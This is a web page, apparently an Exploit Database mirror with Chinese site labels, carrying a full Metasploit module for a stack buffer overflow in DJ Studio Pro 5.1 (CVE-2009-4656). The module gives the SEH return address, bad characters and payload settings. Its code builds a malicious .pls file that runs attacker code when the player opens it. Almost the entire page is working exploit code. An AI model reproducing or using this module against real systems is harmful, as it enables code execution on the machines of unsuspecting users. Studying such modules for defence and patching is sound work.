DJ Studio Pro 5.1 – ‘.pls’ Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-03-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18547/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'DJ Studio Pro 5.1 .pls Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
  				When handling a .pls file, DJ Studio will copy the user-supplied data on the stack
  				without any proper bounds checking done beforehand, therefore allowing code
  				execution under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Sebastien Duquette',
  					'Death-Shadow-Dark <death.shadow.dark[at]gmail.com>',
  				],
  			'References' =>
  				[
  					[ 'CVE', '2009-4656'],
  					[ 'OSVDB', '58159'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10827' ]
  				],
  			'Payload'=>
  				{
  					'Space'=> 5000,
  					'BadChars' => "\x00\x0a\x3d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# POP EBX # POP ECX # RET 8
  					# DJStudioPro.exe
  					[ 'DJ Studio Pro 5.1.6.5.2', { 'Ret' => 0x014FC62D } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Dec 30 2009',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('FILENAME', [ true, 'The file name.','msf.pls']),
  				], self.class)
  
  	end
  
  	def exploit
  
  		sploit = rand_text_alpha_upper(1308)
  		sploit << generate_seh_payload(target.ret)
  		sploit << rand_text_alpha_upper(10000)
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(sploit)
  
  	end
  
  end